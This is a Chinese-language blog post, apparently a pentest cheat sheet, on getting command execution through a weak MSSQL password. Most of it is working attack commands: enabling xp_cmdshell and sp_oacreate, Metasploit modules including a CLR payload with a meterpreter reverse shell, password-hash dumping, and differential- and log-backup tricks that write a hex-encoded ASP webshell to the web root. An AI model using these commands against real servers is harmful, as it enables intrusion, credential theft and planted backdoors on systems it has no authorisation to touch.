mssql弱口令的利用

發(fā)現(xiàn)了一個(gè)mssql弱口令,目標(biāo)是執(zhí)行系統(tǒng)命令,總結(jié)了常用的方法。

一、xp_cmdshell存儲(chǔ)過程

Sql Server2005是system權(quán)限,2008以上是network權(quán)限

  1. 首先使用SSMS連接mssql數(shù)據(jù)庫(kù)
  • 開啟xp_cmdshell
EXEC sp_configure 'show advanced options',1 //允許修改高級(jí)參數(shù)
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打開xp_cmdshell擴(kuò)展
RECONFIGURE
  • 執(zhí)行命令
exec master..xp_cmdshell 'whoami'
image.png
  1. msf中有xp_cmdshell的利用模塊
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.80.144
set password 123456
set cmd cmd.exe /c ping 192.168.80.154
image.png

二、sp_oacreate存儲(chǔ)過程

當(dāng)xp_cmdshell被刪除時(shí),可以嘗試使用sp_oacreate

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;

此方式執(zhí)行是無回顯的,這里將文件寫入到temp目錄下

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami>C:\\Windows\\Temp\\1.txt'
image.png

三、clr程序集

適用于SQL Server 2005以后的版本,msf中有clr的利用模塊

use exploit/windows/mssql/mssql_clr_payload
set rhosts 192.168.80.144
set password 123456
set payload windows/x64/meterpreter/reverse_tcp
image.png

四、查mssql密碼

  1. 使用sql語句查詢
select name,password_hash from master.sys.sql_logins
image.png
  1. 使用msf中的模塊查詢
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.80.144
set password 123456

五、查絕對(duì)路徑

使用xp_dirtree存儲(chǔ)過程查詢網(wǎng)站的絕對(duì)路徑

execute master..xp_dirtree 'c:',1 --  只列目錄
execute master..xp_dirtree 'c:',1,1 --  列目錄和文件
image.png

六、差異備份getshell

當(dāng)目標(biāo)服務(wù)器存在web服務(wù)時(shí),可以嘗試使用備份的方式寫入webshell,如果不成功一般是目錄權(quán)限的問題

backup database 庫(kù)名 to disk = 'c:\bak.bak';--
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
backup database 庫(kù)名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

七、LOG備份getshell

相對(duì)于差異備份,log備份的好處就是備份出來的webshell文件非常小

alter database 庫(kù)名 set RECOVERY FULL 
create table cmd (a image) 
backup log 庫(kù)名 to disk = 'c:\xxx' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log 庫(kù)名 to disk = 'c:\xxx\2.asp'

參考

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容